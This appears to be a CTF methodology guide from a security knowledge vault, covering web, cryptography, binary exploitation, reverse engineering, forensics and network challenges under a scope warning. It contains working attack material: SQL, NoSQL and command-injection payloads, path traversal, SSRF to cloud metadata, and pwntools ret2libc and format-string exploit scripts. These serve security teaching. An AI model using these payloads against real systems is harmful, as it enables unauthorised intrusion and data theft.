Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

🎯 CTF Challenge Methodology Guide

Systematic approaches for solving different types of CTF challenges

This page is one decision flow among many valid ones: what to check first, what the result tells you, what to try next. Payload lists live in CTF_Cheat_Sheets, installs in the Tools guide. Only attack CTF infrastructure and your own labs, within the event rules; see Legal & Ethics.

Table of Contents​

  1. Universal CTF Methodology
  2. Web Exploitation Methodology
  3. Cryptography Methodology
  4. Binary Exploitation Methodology
  5. Reverse Engineering Methodology
  6. Forensics Methodology
  7. Network Analysis Methodology
  8. Miscellaneous Challenge Methodology
  9. Time Management in Challenges
  10. Cognitive Approaches
  11. Challenge Documentation Template

πŸ”„ Universal CTF Methodology​

The RICE Framework​

Reconnaissance (Information Gathering)​

  • Read challenge description thoroughly
  • Identify challenge category and potential approaches
  • Download and catalog all provided files
  • Note any hints or constraints given

Investigation (Deep Analysis)​

  • Analyze files/services using appropriate tools
  • Document all findings systematically
  • Identify patterns, anomalies, and potential vulnerabilities
  • Research similar challenges and techniques

Conceptualization (Strategy Formation)​

  • Formulate hypothesis about the solution approach
  • Plan step-by-step attack strategy
  • Consider alternative approaches
  • Estimate time and resource requirements

Execution (Solution Implementation)​

  • Implement planned approach systematically
  • Document each step and result
  • Iterate based on findings
  • Validate solution and capture flag

🌐 Web Exploitation Methodology​

Phase 1: Reconnaissance​

# Site structure analysis
curl -s http://target.com # raw source, comments included
wget --spider -r -l 2 http://target.com 2>&1 | grep 'http://'

# Technology identification
whatweb http://target.com
curl -I http://target.com
nmap -sV -p 80,443,8080,8443 target.com

# Directory enumeration (Kali: sudo apt install seclists)
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Also read by hand: page source and comments, robots.txt, JS bundles (API routes, keys), cookies, and any /.git/ exposure.

Phase 2: Vulnerability Assessment​

# Automated scanning (only if the event rules allow scanners)
nikto -h http://target.com
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t http://target.com

Map every input (query/body parameters, headers, cookies, file names, JSON keys), then triage by signal:

SignalLikely bugFirst checkNext step
SQL error, or the page changes with ' vs ''SQL injectionBoolean pair (AND 1=1 vs AND 1=2), then time delayUNION column count, then extract; or sqlmap (below)
Parameter takes a URL, or the server fetches something (webhook, "import from URL", PDF/image renderer)SSRFPoint it at a listener you control, then http://127.0.0.1:<port>/Internal services; cloud metadata at 169.254.169.254 (AWS IMDSv1 is a plain GET; IMDSv2 needs a PUT token, GCP a Metadata-Flavor: Google header); other schemes (file://, gopher://) depending on the fetcher
Input echoed back in a page, email or PDFSSTIFuzz ${{<%[%'"}}%\ for an error, then {{7*7}} / ${7*7} for 49Identify the engine: {{7*'7'}} gives 49 in Twig, 7777777 in Jinja2; error messages often name it. Then the engine's payloads
eyJ... token in a cookie or Authorization headerJWTDecode the header: which alg? Try alg: none with an empty signatureHS256: crack the secret (hashcat -m 16500). RS256: try alg confusion (re-sign as HS256 with the public key as the secret). Check kid / jku
Blob starting rO0AB (base64) / aced0005 (hex), O:4:"User":..., or gASV / gAWV (base64)Insecure deserialization (Java, PHP, Python pickle protocol 4/5)Does modifying a field change behaviour?Pickle: a __reduce__ payload. PHP: magic methods / POP chain (phpggc). Java: gadget chain for the libraries in use (ysoserial)
JSON login, MongoDB errors, Node/Express stackNoSQL injection{"username":"admin","password":{"$ne":null}}, or password[$ne]=x form-encoded$regex to extract a secret one character at a time
Node app merging user JSON into objectsPrototype pollutionSend {"__proto__":{"polluted":1}} (or constructor.prototype) and look for the property elsewhereFind a gadget: a property read later (isAdmin, template or spawn options)
Upload formFile uploadWhich checks: extension, Content-Type, magic bytes? Where is the file stored and is it served?Alternate extensions, magic-byte polyglots, .htaccess, ../ in the filename, SVG/HTML for XSS
../ or a file name in a parameterPath traversal / LFI../../../../etc/passwd, then encoded variantsRead source and config; on PHP try php://filter
Input reaches a shell (ping, DNS lookup, converters)Command injection;id, $(id), a time delayBlind? Exfiltrate out-of-band or via sleep timing

Payloads for every row: CTF_Cheat_Sheets. Deeper coverage: Web Application Security SOP, cloud metadata in Cloud Pentest SOP.

Phase 3: Exploitation Development​

# Example SQL injection testing
import requests

url = "http://target.com/login"
payloads = [
"admin'--",
"admin' OR '1'='1'--",
"' UNION SELECT 1,2,3--",
"'; WAITFOR DELAY '00:00:05'--"
]

for payload in payloads:
data = {"username": payload, "password": "test"}
response = requests.post(url, data=data)
if "welcome" in response.text.lower() or response.elapsed.total_seconds() > 5:
print(f"Potential vulnerability with payload: {payload}")

When to reach for sqlmap: after you have confirmed an injection point by hand and extraction would be tedious (blind, many tables). Save the request from Burp so cookies and headers come along. Raise --level / --risk only when the defaults miss. It won't see second-order or custom-encoded injections without help, and some events ban automated tools.

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D app -T users --dump

πŸ” Cryptography Methodology​

Phase 1: Cipher Identification​

What you seeFamilyGo to
A-Za-z0-9+/=, length a multiple of 4Base64 (an encoding, not a cipher)Phase 2
0-9a-f only, even lengthHexPhase 2
Letters only, spaces and punctuation preservedClassical (Caesar, VigenΓ¨re, substitution)Phases 2–3
Large integers n, e, c, or a PEM keyRSAPhase 4
Random-looking bytes, length a multiple of 16Block cipher (AES)Phase 5
Short repeating key, or a known flag prefixXORPhase 5
Curve parameters, pointsECCPhase 5

Phase 2: Systematic Decryption Attempts​

import base64

COMMON = set('ETAOINSHRDLU ')

def caesar_decrypt(text, shift):
out = []
for ch in text:
if ch.isalpha():
base = ord('A') if ch.isupper() else ord('a')
out.append(chr((ord(ch) - base - shift) % 26 + base))
else:
out.append(ch)
return ''.join(out)

def english_score(text):
"""Share of characters that are common English letters or spaces."""
return sum(c in COMMON for c in text.upper()) / max(len(text), 1)

def try_common_ciphers(ciphertext):
# ROT13 is shift 13 (one-off: codecs.encode(s, 'rot13'))
results = {f'caesar_{s}': caesar_decrypt(ciphertext, s) for s in range(26)}
for name, decode in (('base64', base64.b64decode), ('hex', bytes.fromhex)):
try:
results[name] = decode(ciphertext).decode()
except ValueError: # covers binascii.Error and UnicodeDecodeError
pass
return sorted(results.items(), key=lambda kv: english_score(kv[1]), reverse=True)

for name, text in try_common_ciphers('Wkh iodj lv kdfnhg')[:3]:
print(name, text) # caesar_3 The flag is hacked

Layered encodings (base64 β†’ hex β†’ ROT13 ...) are faster in CyberChef's "Magic" operation than in code.

Phase 3: Substitution and VigenΓ¨re​

  • Monoalphabetic substitution: match letter frequencies (E, T, A, O, I, N lead in English) and word patterns (the, and, doubled letters); solve by hand or with a substitution solver.
  • VigenΓ¨re: find the key length first (repeated trigrams / Kasiski, index of coincidence); each column is then a Caesar shift you can rank with the scorer above.

Phase 4: RSA Triage​

Work down the list; the first match is usually the intended bug.

  • n already factored? Paste it into factordb. Small n (under ~256 bits): factor it yourself (SageMath factor(n)).
  • Small e (3) and no padding? If m**e < n, then c is just m**e: take the integer e-th root.
  • Same m sent to e receivers with different n? HΓ₯stad: CRT the ciphertexts, then the integer e-th root.
  • Several moduli? gcd(n1, n2) > 1 means a shared prime.
  • p and q close together? Fermat factorisation.
  • Huge e (close to n)? Small d: Wiener's attack.
  • Same n, two coprime e, same m? Common-modulus: find s1*e1 + s2*e2 = 1, then m = c1^s1 * c2^s2 mod n.
  • Leaked bits of p or d, or a stereotyped message? Coppersmith-style attacks (SageMath, or RsaCtfTool's lattice attacks).
from math import gcd, isqrt

def iroot(x, k):
"""Largest r with r**k <= x (exact for huge ints, unlike x ** (1/k))."""
lo, hi = 0, 1 << (x.bit_length() // k + 1)
while lo < hi:
mid = (lo + hi + 1) // 2
if mid ** k <= x:
lo = mid
else:
hi = mid - 1
return lo

def fermat(n, steps=1_000_000):
"""Factor n quickly when p and q are close."""
a = isqrt(n)
if a * a < n:
a += 1
for _ in range(steps):
b = isqrt(a * a - n)
if b * b == a * a - n:
return a - b, a + b
a += 1

def crt(rems, mods):
N = 1
for m in mods:
N *= m
return sum(r * (N // m) * pow(N // m, -1, m) for r, m in zip(rems, mods)) % N

def decrypt(c, e, p, q):
m = pow(c, pow(e, -1, (p - 1) * (q - 1)), p * q)
return m.to_bytes((m.bit_length() + 7) // 8, 'big')

# small e, no padding: m = iroot(c, 3)
# HΓ₯stad (e = 3): m = iroot(crt([c1, c2, c3], [n1, n2, n3]), 3)
# shared prime: p = gcd(n1, n2); q = n1 // p
# close primes: p, q = fermat(n)
RsaCtfTool --publickey key.pub --private # tries its attacks, prints the private key
RsaCtfTool --publickey key.pub --decryptfile ciphertext
RsaCtfTool --publickey key.pub --attack wiener

Phase 5: Symmetric, XOR and ECC​

  • AES-ECB: identical plaintext blocks give identical ciphertext blocks. Repeated 16-byte blocks mean ECB; if you control part of the plaintext, think byte-at-a-time decryption or block cut-and-paste.
  • CBC padding oracle: the service decrypts ciphertext you send and answers differently for bad padding than for other errors (message, status code, timing). That difference lets you decrypt any block in at most 256 guesses per byte. Forged-IV bit flips also let you edit the first plaintext block.
  • XOR: a known flag prefix (flag{) XORed with the ciphertext gives the first key bytes. A repeating key falls to the same trick plus key-length guessing.
  • ECC: check the curve before the maths. Small or smooth order points to Pohlig–Hellman (SageMath discrete_log); singular or anomalous curves have known shortcuts; a reused ECDSA nonce leaks the private key.
from itertools import cycle

def xor(data, key):
return bytes(a ^ b for a, b in zip(data, cycle(key)))

def repeated_blocks(ct, bs=16):
blocks = [ct[i:i + bs] for i in range(0, len(ct), bs)]
return len(blocks) - len(set(blocks)) # > 0 β†’ ECB is likely

# key_start = xor(ct[:5], b'flag{')

Tools: RsaCtfTool, factordb, SageMath, CyberChef. Install lines in Tools guide; deeper theory in the Cryptography Analysis SOP.


πŸ’Ύ Binary Exploitation Methodology​

Phase 1: Static Analysis​

# File information gathering
file binary_challenge
strings binary_challenge | grep -E "(flag|password|key)"
objdump -d binary_challenge | head -50
readelf -h binary_challenge

# Security mitigations check
pwn checksec binary_challenge

What the mitigations tell you:

MitigationOff / weakOn / strong
Stack canaryOverflow straight into the return addressLeak the canary first (format string, partial read)
NXShellcode on the stack worksROP / ret2libc
PIEBinary addresses are fixedLeak a code address, then compute the base
RELROPartial: GOT entries are writable targetsFull: GOT read-only; aim at return addresses or other function pointers

Phase 2: Dynamic Analysis​

# Crash test
python3 -c "print('A' * 100)" | ./binary_challenge
python3 -c "print('A' * 200)" | ./binary_challenge

# De Bruijn pattern to find the offset (pwntools CLI)
pwn cyclic 200 > pattern.txt
$ gdb ./binary_challenge
(gdb) info functions
(gdb) disas main
(gdb) run < pattern.txt
# x86-64 faults on `ret`, so read the saved return address at the top of the stack:
(gdb) x/wx $rsp
0x7fffffffd248: 0x61616173
$ pwn cyclic -l 0x61616173
72

In a script: cyclic(200) / cyclic_find(0x61616173). Write pattern bytes with sys.stdout.buffer.write(cyclic(200)); print(cyclic(200)) prints the b'...' repr, not the pattern.

Phase 3: Choose the Technique​

  • A win() / print_flag() function exists β†’ ret2win: overwrite the return address with it.
  • NX on, no win function β†’ ret2libc: leak a libc address (e.g. puts@GOT), identify the libc, call system("/bin/sh") or a one_gadget.
  • printf(user_input) β†’ format string: leak with %p, find your offset, then write with %n (GOT entry, return address).
  • malloc/free menu (create/edit/delete/show) β†’ heap. Out of scope here; check the glibc version first, then see Vulnerability Research SOP: Heap Exploitation and how2heap.
  • execve blocked / shell gets killed β†’ seccomp: dump the filter, then build an open/read/write chain for the flag file.

x86-64 stack alignment: glibc's system() and printf() can crash on a movaps instruction when the stack is not 16-byte aligned at the call. If the chain is right but it segfaults inside system, add one extra ret gadget before the function address.

Phase 4: Exploit Development​

# ret2win (no PIE, no canary)
from pwn import *

context.binary = elf = ELF('./chall', checksec=False)
offset = 72 # from pwn cyclic -l
ret = ROP(elf).find_gadget(['ret']).address # stack alignment for system()

io = process(elf.path) # remote('host', port) for the real target
io.sendline(flat({offset: [ret, elf.symbols['win']]}))
io.interactive()
# ret2libc in two stages: leak puts, then system("/bin/sh")
from pwn import *

context.binary = elf = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False) # the libc shipped with the challenge
offset = 72

io = process(elf.path)
io.recvline() # banner

rop = ROP(elf) # needs a `pop rdi; ret` gadget in the binary
rop.puts(elf.got['puts'])
rop.main() # come back for a second payload
io.sendline(flat({offset: rop.chain()}))
leak = u64(io.recvline().rstrip(b'\n').ljust(8, b'\0'))
libc.address = leak - libc.symbols['puts']
log.info(f'libc base {libc.address:#x}') # should end in 000

io.recvline()
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']).address) # alignment
rop.system(next(libc.search(b'/bin/sh\0')))
io.sendline(flat({offset: rop.chain()}))
io.interactive()
# Format string: find the offset with AAAAAAAA.%6$p.%7$p..., then write
from pwn import *

context.binary = elf = ELF('./chall', checksec=False)
offset = 6 # where 0x4141414141414141 appeared
io = process(elf.path)
io.send(fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})) # needs Partial RELRO
io.interactive()

Libc Matching, Gadgets and Sandboxes​

# Run the binary against the challenge's libc (finds bin/libc/ld, fetches the loader, patchelfs, writes solve.py)
pwninit
# manual equivalent
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./chall

# No libc provided: identify it from leaked addresses (the last 3 hex digits survive ASLR); or search libc.rip
pwn libcdb lookup puts 6aa printf 100 -d # example values: symbol, low 3 hex digits; -d downloads the match

# Gadgets
ROPgadget --binary ./chall --only "pop|ret"
ropper --file ./chall --search "pop rdi"
one_gadget ./libc.so.6 # single-address execve gadgets; check the listed constraints

# Seccomp filter (runs the binary)
seccomp-tools dump ./chall

🧩 Reverse Engineering Methodology​

Phase 1: Triage​

file crackme
strings -n 6 crackme | grep -iE 'flag|correct|wrong|key|password'
pwn checksec crackme

Stripped? Packed (UPX strings, very few imports)? Language (Go, Rust and .NET each need their own tooling)? A flag in strings is sometimes the whole challenge.

Phase 2: Static (Ghidra)​

  • Find main: in a stripped binary it is the first argument passed to __libc_start_main from entry.
  • Search strings for "Correct" / "Wrong", follow the cross-reference, and read the comparison just before the branch.
  • Rename variables and retype buffers as you go; the decompiler output becomes readable fast.
  • Classify the check: compare against a constant, a reversible transform (XOR, add, table lookup), or coupled constraints.

Phase 3: Dynamic​

ltrace ./crackme # strcmp/memcmp arguments often show the expected input
strace -f ./crackme # file, network and ptrace syscalls
(gdb) break strcmp
(gdb) run
(gdb) x/s $rdi # first argument (x86-64 System V)
(gdb) x/s $rsi # second argument
(gdb) finish
(gdb) set $rax = 0 # force the "equal" result and watch the path

Phase 4: Solve​

  • Constant compare β†’ read it from memory or the decompiler.
  • Reversible transform β†’ reimplement it in Python and run it backwards.
  • Coupled constraints β†’ z3: transcribe the checks, let the solver find the input.
  • Many branches / heavy obfuscation β†’ angr: symbolic execution with a find address (success message) and avoid addresses (failure).
  • Patching a jump confirms the path, but the flag is usually derived from the input, so you still need the input.
from z3 import BitVec, Solver, sat

# Checks transcribed from the decompiler: pw[0] == 'z', pw[i] + pw[i+1] == SUMS[i]
SUMS = [173, 146, 197, 218, 235, 152]
pw = [BitVec(f'c{i}', 8) for i in range(len(SUMS) + 1)]
s = Solver()
s.add(pw[0] == ord('z'))
s.add([pw[i] + pw[i + 1] == SUMS[i] for i in range(len(SUMS))])
s.add([c >= 0x20 for c in pw] + [c <= 0x7e for c in pw]) # printable
if s.check() == sat:
model = s.model()
print(bytes(model[c].as_long() for c in pw)) # b'z3_ftw!'

Anti-Debugging Notes​

  • ptrace(PTRACE_TRACEME) returning -1 means a debugger is attached: patch the check, or break after the call and set $rax to 0.
  • Reads of /proc/self/status (TracerPid) and timing checks (rdtsc, clock_gettime) are the other common tells.
  • Code that checksums itself detects software breakpoints (int3); use hardware breakpoints (hbreak).

More: Reverse Engineering SOP: Bypassing Anti-Debugging. Worked example: Sample_RevEng_Crackme_Writeup.


πŸ•΅οΈ Forensics Methodology​

Phase 1: File Analysis​

# Initial file examination
file evidence.img
hexdump -C evidence.img | head -20
strings evidence.img | grep -i flag

# Metadata and embedded files
exiftool evidence.jpg
binwalk evidence.bin # signature scan
binwalk -e evidence.bin # extract into _evidence.bin.extracted/
binwalk -Me evidence.bin # recursive extraction
foremost -i evidence.dd -o output/

The binwalk package is v2.x (2.4.3 Debian/Kali, 2.3.4 Ubuntu 24.04). The Rust rewrite (v3) is a separate Kali package and command, binwalk3: -e and -M still work, but extractions land in extractions/&lt;file&gt;.extracted/ instead of _&lt;file&gt;.extracted/, and the directory flag is -C/--directory in both v2 and the released v3.1.0 (unreleased upstream master renames the short form to -d, so scripts should use --directory). Per-version flags and output dirs: Tools β†’ Binwalk. [verify 2026-12-01]

Phase 2: Disk Images and Data Recovery​

# Partition layout: note each partition's start sector
mmls disk.img

# List files (-o = start sector); -d shows deleted entries only
fls -o 2048 -r -p disk.img
fls -o 2048 -r -d disk.img

# Recover a file by inode
icat -o 2048 disk.img 1234 > recovered.bin

# Carving when the filesystem is damaged
testdisk disk.img
photorec disk.img

Autopsy gives the same Sleuth Kit view in a GUI (timeline, keyword search, deleted files).

Phase 3: Memory Analysis (Volatility 3)​

# Windows: symbols are downloaded from Microsoft's symbol server on first run
vol -f mem.dmp windows.info
vol -f mem.dmp windows.pslist
vol -f mem.dmp windows.pstree
vol -f mem.dmp windows.cmdline
vol -f mem.dmp windows.filescan | grep -i flag
mkdir -p dumped # -o must already exist
vol -f mem.dmp -o dumped windows.dumpfiles --virtaddr "$OFFSET" # Offset column from filescan

# Linux: identify the kernel, then supply a matching ISF (dwarf2json or a prebuilt pack) under ./symbols/linux/
vol -f mem.lime banners.Banners
vol -f mem.lime -s ./symbols linux.pslist
vol -f mem.lime -s ./symbols linux.pstree
vol -f mem.lime -s ./symbols linux.bash

Volatility 3 has no imageinfo or --profile; the OS layer is detected automatically [verify 2026-12-01]. If --virtaddr dumps nothing, retry the same offset with --physaddr. Linux ISF banners must match the dump's kernel exactly.

Phase 4: Steganography​

  • PNG / BMP: LSB hiding works because the format is lossless. Run zsteg -a first, then zsteg -E &lt;payload&gt; image.png to extract what it finds.
  • JPEG: pixel LSBs do not survive JPEG compression; hiding happens in the DCT coefficients (steghide, outguess). stegseek cracks a steghide passphrase from a wordlist; --seed detects steghide data without one.
  • Audio: look at the spectrogram (Audacity, Sonic Visualiser), then sample LSBs.
  • Anything: appended data after the end-of-file marker (binwalk), metadata (exiftool), bit planes (StegSolve).
zsteg -a image.png
zsteg -E b1,r,lsb,xy image.png > out.bin
steghide extract -sf image.jpg
stegseek image.jpg wordlist.txt
stegseek --seed image.jpg
# LSB extraction for PNG/BMP and 16-bit WAV
import wave
import numpy as np
from PIL import Image

def extract_lsb(image_path, channel=0):
"""LSB plane of one channel (0=R, 1=G, 2=B), row-major, MSB-first bytes."""
data = np.array(Image.open(image_path).convert('RGB')) # palette/greyscale safe
return np.packbits(data[:, :, channel].flatten() & 1).tobytes()

def extract_wav_lsb(wav_path):
"""LSB of each 16-bit PCM sample, packed into bytes."""
with wave.open(wav_path, 'rb') as wav:
assert wav.getsampwidth() == 2, 'expects 16-bit PCM'
samples = np.frombuffer(wav.readframes(wav.getnframes()), dtype='<i2')
return np.packbits(samples & 1).tobytes()

print(extract_lsb('image.png')[:64])

Phase 5: Android APKs​

apktool d app.apk -o app_src # resources, AndroidManifest.xml, smali
jadx -d app_java app.apk # decompiled Java
grep -rn "flag{" app_src app_java

Check res/values/strings.xml, the manifest (exported components, debuggable flag) and native libraries in lib/. More in the Mobile Security SOP; general method in the Forensics Investigation SOP.


πŸ“‘ Network Analysis Methodology​

Phase 1: Traffic Overview​

# Wireshark command line analysis
tshark -r capture.pcap -q -z conv,tcp
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri

# Protocol distribution
tshark -r capture.pcap -q -z io,phs

Phase 2: Specific Protocol Analysis​

# HTTP traffic analysis
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data

# DNS analysis (long or odd subdomains = possible exfiltration)
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
tshark -r capture.pcap -Y "dns.flags.response == 1" -T fields -e dns.resp.name -e dns.a

# TCP stream following
tshark -r capture.pcap -q -z follow,tcp,ascii,0

Phase 3: Data Extraction​

# Export transferred files (also: smb, ftp-data, tftp, imf, dicom)
mkdir -p http_objects
tshark -r capture.pcap --export-objects http,http_objects

# TLS: if the challenge ships a key log file, decrypt with it
tshark -r capture.pcap -o tls.keylog_file:keys.log -Y http

Then run file over the exported objects; flags often sit in an uploaded archive or image.


πŸ”§ Miscellaneous Challenge Methodology​

Programming Challenges​

  • Pin down the exact input/output format from the examples before writing code.
  • Find the pattern or algorithm; test against the given examples.
  • Timed "answer N questions" services: script the socket loop (pwntools remote) rather than typing.
# Common patterns
def fibonacci(n):
if n <= 1: return n
a, b = 0, 1
for _ in range(2, n + 1):
a, b = b, a + b
return b

def prime_factors(n):
factors = []
d = 2
while d * d <= n:
while n % d == 0:
factors.append(d)
n //= d
d += 1
if n > 1:
factors.append(n)
return factors

OSINT Challenges​

  • Passive recon: Google dorking, social media, public records, domain/IP lookups.
  • Images: reverse image search, EXIF, geolocation from landmarks, signs and shadows.
  • Correlation: cross-reference findings, build a timeline, verify each link before relying on it.
site:target.com filetype:pdf
intext:"target" filetype:xlsx
"target.com" inurl:admin

Google retired the cache: operator in 2024 [verify 2026-12-01]; use the Wayback Machine (https://web.archive.org/web/*/target.com) for old versions of a page. Image work: Image & Video OSINT SOP.

Newer Categories​

First moves for categories outside the classic six; each links the vault SOP that goes deeper.

CategoryFirst movesGo deeper
AI / LLMMap what the model can see and call (system prompt, tools, retrieved documents) before attacking; change one thing per attempt and log what moved it[AI Red-Team Field Guide](../sop-ai-vulnerability-evasion-guide)
Blockchain / Web3Read the contract and the exact win condition the challenge checks; reproduce the attack locally first (Foundry forge test) before sending transactions[Smart Contract Audit](../sop-smart-contract-audit)
CloudFind out who you are and what you can read (aws sts get-caller-identity), then enumerate storage and IAM from that identity[Cloud Pentest](../sop-cloud-pentest)
Hardware / RFIdentify the file first: firmware β†’ binwalk (see Forensics above); radio capture β†’ inspect it in Inspectrum or Universal Radio Hacker[Wireless & RF](../sop-wireless-rf-pentest), [Firmware RE](../sop-firmware-reverse-engineering)
MobileDecompile and grep, as in Forensics β†’ Phase 5 above (apktool, jadx)[Mobile Security](../sop-mobile-security)

⏱️ Time Management in Challenges​

Decision Points​

Set a time box per challenge, then check in:

  • 25% β†’ clear direction
  • 50% β†’ no working approach yet: ask for help or pivot
  • 75% β†’ stop and pivot unless nearly solved
  • 90% β†’ finish only, no new approaches

🧠 Cognitive Approaches​

When You're Stuck​

The No-New-Information Rule​

If 15–20 minutes pass without learning anything new (no new output, error or file), stop and run this list before the next decision point:

  1. Step back: Read challenge description again
  2. Ask differently: Rephrase the problem
  3. Change tool: Try different analysis method
  4. Seek help: Ask teammate or community
  5. Take break: Sometimes fresh eyes help

Systematic Elimination​

ELIMINATION CHECKLIST
β–‘ Confirmed file type and format
β–‘ Tried obvious/common solutions
β–‘ Checked for hidden or encoded data
β–‘ Verified tools are working correctly
β–‘ Researched similar challenge types
β–‘ Asked for hints or help
β–‘ Considered alternative approaches
β–‘ Documented what DOESN'T work

Pattern Recognition Development​

  • Keep a success journal: Record successful techniques
  • Study writeups: Learn from others' approaches
  • Practice regularly: Build intuition through repetition
  • Cross-category learning: Techniques often transfer

πŸ“š Challenge Documentation Template​

During Challenge​

## Challenge: [Name]
**Start time**: [timestamp]
**Category**: [category]
**Points**: [points]

### Initial Analysis
- File type:
- Key observations:
- Initial hypothesis:

### Approaches Tried
1. **Approach 1**: [description]
- Result: [what happened]
- Time spent: [duration]
- Next: [what to try next]

2. **Approach 2**: [description]
- Result: [what happened]
- Time spent: [duration]
- Next: [what to try next]

### Breakthrough Moment
- What worked:
- Why it worked:
- How I found it:

### Solution
- Final approach:
- Flag: `flag{...}`
- Total time: [duration]

Practice makes perfect - methodology makes practice efficient!


Last Updated: 2026-12-01